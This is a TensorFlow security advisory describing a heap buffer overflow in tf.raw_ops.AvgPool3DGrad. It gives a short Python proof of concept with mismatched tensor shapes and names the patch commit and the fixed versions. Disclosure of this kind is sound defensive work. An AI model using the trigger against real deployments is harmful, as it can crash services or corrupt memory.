Heap buffer overflow in `AvgPool3DGrad`
### Impact
The implementation of `tf.raw_ops.AvgPool3DGrad` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)
grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.AvgPool3DGrad(
orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
padding=padding)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/d80ffba9702dc19d1fac74fc4b766b3fa1ee976b/tensorflow/core/kernels/pooling_ops_3d.cc#L376-L450 assumes that the `orig_input_shape` and `grad` tensors have similar first and last dimensions but does not check that this assumption is validated.
### Patches
We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d
https://github.com/tensorflow/tensorflow/commit/6fc9141f42f6a72180ecd24021c3e6b36165fe0d.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.